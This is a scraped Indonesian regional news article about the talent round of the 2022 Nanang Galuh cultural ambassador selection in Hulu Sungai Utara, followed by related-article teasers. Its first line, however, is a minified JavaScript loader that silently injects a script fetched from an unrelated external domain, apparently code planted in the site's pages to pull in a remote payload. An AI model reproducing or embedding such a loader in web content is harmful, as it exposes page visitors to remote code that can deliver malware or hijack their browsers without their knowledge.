(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, AMUNTAI – Menyusul tes wawancara pada Senin (20/6/2022) lalu, 30 peserta calon Nanang Galuh Kabupaten Hulu Sungai Utara (HSU) kembali mengikuti tes kemampuan bakat yang diselenggarakan Dinas Pendidikan Kebudayaan Disdikbud) di Aula Disdikbud HSU, Rabu (22/6/2022).
Adapun 30 peserta tersebut terdiri dari 15 calon Nanang dan 15 calon Galuh, yang masing-masing menampilkan bakat terbaiknya, mulai dari menyanyi, menari, baca puisi, hingga aksi beladiri.
Ketua Pawadahan Nanang Galuh HSU Irwan Zasir mengatakan pemilihan Nanang dan Galuh HSU ini digelar setiap tahunnya guna menumbuh kembangkan kreatifitas serta kemampuan para generasi muda Kabupaten HSU.
“Untuk tes bakat ini nantinya akan dipilih 8 nanang dan 8 galuh yang akan melaju ketahap grand final, yang mana sebelumnya akan dilakukan karantina,” kata Irwan Zasir.
Baca juga : Tiga Raperda Masuk Propemperda DPRD Banjarbaru 2022
Sedangkan pada tahap grand final nanti para calon nanang galuh akan diberikan materi tentang kebudayaan serta pengetahuan intelegensi.
“Di grand final nanti mereka akan diberikan materi tentang kebudayaan serta pengetahuan intelegensi bagaimana mengetahui pemerintahan atau kebudayaan khususnya di HSU dan Kalsel,” jelasnya.
“Karena di tahun ini kita berfokus pada kebudayaan, agar nanang galuh ini menjadi sosok dikalangan remaja yang dipandang bukan hanya pintar secara intelektual tetapi juga bisa bersikap yang baik dan menjadi pedoman untuk remaja seusianya,” imbuhnya.
Sementara itu, Ketua Sanggar Air HSU yang sekaligus dewan juri Hendra Royadi Saina menyebut pada tes bakat ini aspek yang dinilai diantaranya intervensi kebudayaan, penguasaan panggung, kemampuan menyampaikan pesan, kesesuaian kostum hingga makeup.
Baca juga : Berlakunya Sistem Satu Arah di Jalan Ir PM Noor Menuju SPN, Satlantas Polres Banjarbaru Gencar Sosialisasi
“Yang jelas karena ini sifatnya kebudayaan, yang mana nanang galuh atau adat kita itu banjar, walaupun juga ada yang menampilkan budaya lain tetapi juga akan kita nilai karena memang itu salah satu bakat dari peserta,” tukasnya.
Putri Yanti, salah satu peserta mengaku sebelum memasuki tes bakat tentu banyak hal yang harus dipersiapkan, mulai dari budaya hingga pengembangan bakat itu sendiri.
Dalam tes kali ini ia sendiri menunjukkan bakatnya didalam seni tari dengan menampilkan tari kreasi dengan judul “Nyambut Gawi”.
“Walaupun sempat merasa gugup saat di depan, karena memang menikmati lagu jadi gugupnya itu bisa diminimalisir, sedangkan untuk pemilihan tari nyambut gawi ini mengingat waktu dan persiapan yang singkat jadi saya memilih tarian yang pernah saya bawakan ini,” katanya. (kanalkalimantan.com/dew)
Reporter : dew
Editor : cell
KANALKALIMANTAN.COM - Hari Reformasi Nasional diperingati setiap 21 Mei, menjadi momen pengingat seluruh masyarakat Indonesia… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Di awal tahapan Pemilihan Wali Kota dan Wakil Wali Kota (Pilwali) Banjarmasin… Read More
KANALKALIMANTAN.COM, BANJARBARU - Sejumlah titik krusial pelanggaran lalu lintas dan kerawanan kecelakaan lalu lintas menjadi… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Dinas Pekerjaan Umum dan Penataan Ruang (PUPR) Provinsi Kalsel mengadakan kegiatan Bimbingan… Read More
Jaya : Penantang Bisa Lebih dalam Mengevaluasi Kinerja Petahana Read More
KANALKALIMANTAN.COM, BANJARBARU - Lima jabatan yang diisi para perwira pertama (Pama) di lingkungan Kepolisian Resor… Read More
This website uses cookies.